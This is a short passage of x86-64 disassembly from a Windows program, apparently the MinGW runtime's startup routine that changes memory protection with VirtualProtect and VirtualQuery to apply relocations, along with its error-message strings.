mov r8, qword [rsi + rdx]
mov qword [rcx + rdx], r8
cmp eax, ebx
jb 0x14001240a
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rdi, qword [0x140363148]
mov qword [rdi + 8], rcx
mov r9, rdi
mov qword [rdi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1400123a0
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140012260
xor edi, edi
jmp 0x140012327
mov eax, dword [rsi]
mov ebx, ebx
mov dword [r12], eax
mov eax, dword [rsi + rbx - 4]
mov dword [r12 + rbx - 4], eax
jmp 0x1400123c9
mov ebx, ebx
movzx eax, word [rsi + rbx - 2]
mov word [r12 + rbx - 2], ax
jmp 0x1400123c9
mov rax, qword [0x140363148]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rdi + 0x18]
call fcn.140012260
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.140012260
nop
nop dword [rax]